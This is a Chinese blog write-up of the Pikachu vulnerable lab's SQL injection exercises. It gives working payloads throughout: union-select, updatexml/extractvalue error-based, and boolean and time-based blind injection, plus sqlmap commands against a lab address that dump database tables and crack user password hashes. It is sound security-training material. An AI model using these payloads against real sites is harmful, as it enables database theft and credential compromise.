【信息安全】pikachu-SQL注入篇

数字型注入

使用 1 or 1=1#探测,使用burpsuite截断post请求,修改提交的请求
截断请求并修改
成功返回所有数据
使用 1 or 1=2#探测,使用burpsuite截断post请求,修改提交的请求
在这里插入图片描述
在这里插入图片描述
说明该处存在SQL注入

接下来需要使用order by 判断列数

在这里插入图片描述
在这里插入图片描述
oder by 2返回结果正常,说明只有2列

确认列数后,可使用union select获取数据库名、用户名
1 union select database(),user()#
在这里插入图片描述
通过information_schema获取当前数据库表名
在这里插入图片描述
根据表名猜列名
在这里插入图片描述
输出当前表名下的用户名、密码信息
在这里插入图片描述
密码采用md5加密,可通过cmd5破解

字符型注入

1’ or 1=1#遍历出了所有用户,说明存在SQL注入
根据上述数字型注入,猜测字段信息
在这里插入图片描述

搜索型注入

SQL中搜索语句提供了四种匹配模式:%_[][^]
%:表示模糊匹配0或多个字符
select * from user where user_name like ‘%d%’;表示匹配user_name中带有d的信息
select * from user where user_name like ‘%d’;表示只匹配最右边带有d的信息
select * from user where user_name like ‘d%’; 表示匹配user_name中以d开头的信息
_:表示匹配任意单个字符
select * from user where user_name like ‘d’;表示d左右均只有1个字符;

在这里插入图片描述
在这里插入图片描述
从以上回显可以确认,非_匹配
列出所有用户信息
根据数字型步骤,判断列数、数据库名、字段名等即可。
在这里插入图片描述

xx型注入

输入’ order by 3# 报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3#')' at line 1

根据报错信息,尝试闭合:’) order by 3#,提示列数不正确

Unknown column '3' in 'order clause'

确认列数后,按照上述步骤猜解用户名、密码。。。

insert/update注入

insert主要在新增数据的时候使用,如用户注册
update可能出现在用户更新信息时
在注册页面,用户名处输入:xiong’ or updatexml(1,concat(0x7e,database()),1) or ’

在这里插入图片描述

’ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1)),0) or ’
由于updatexml一次只能显示一行,需要调整limit参数

’ or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1))) or ’
效果同上。

在这里插入图片描述
update注入同insert

delete注入

删除操作,通过get请求提交,没啥好说的
在这里插入图片描述

HTTP头注入

cookie、content-accept、UA均可使用报错注入

’ or updatexml(1,concat(0x7e,database()),1) or ’

基于bool的盲注

在这里插入图片描述
在这里插入图片描述
2次结果不同,说明存在基于bool的注入。
尝试构造payload获取数据库名,使用substr方法多次猜解得到数据库:pikachu

kobe’ and ascii(substr(database(),1,1))=112 #
返回正确结果,说明数据库名的第一个字符为p
kobe’ and ascii(substr(database(),2,1))=105 #
结果正确,说明对应的第二个字符为i
猜解得到库名后,猜解表名,设计的量过大。此处直接使用sqlmap跑

# sqlmap -u "http://192.168.57.200/vul/sqli/sqli_blind_b.php?name=kebo*&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables --dbms=mysql
[14:34:46] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[14:34:46] [INFO] fetching tables for database: 'pikachu'
[14:34:46] [INFO] retrieved: 'httpinfo'
[14:34:46] [INFO] retrieved: 'member'
[14:34:46] [INFO] retrieved: 'message'
[14:34:46] [INFO] retrieved: 'users'
[14:34:46] [INFO] retrieved: 'xssblind'
Database: pikachu
[5 tables]
+----------+
| member   |
| httpinfo |
| message  |
| users    |
| xssblind |
+----------+

基于时间的盲注

kobe 正常回显
kobe ’ and sleep(5) # 回显时间明显有延迟,说明存在寄予时间的盲注

kobe’ and if((substr((select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1),1,1))=‘h’,sleep(5),null) #
回显存在延迟,说明pikachu中第一个表的第一个字符为h

手注过于繁琐,此处仍使用sqlmap自动注入

# sqlmap -u "http://192.168.57.200/vul/sqli/sqli_blind_t.php?name=kobe*&submit=%E6%9F%A5%E8%AF%A2" --technique=T --dbms=mysql -D pikachu --tables --batch
指定使用基于时间的注入

宽字节注入

直接浏览器输入payload会被编码,无法注入成功。需要使用burpsuite截断
在这里插入图片描述
剩下的步骤同上。不再重复

猜你喜欢

转载自blog.csdn.net/Nicky_Zheng/article/details/108355401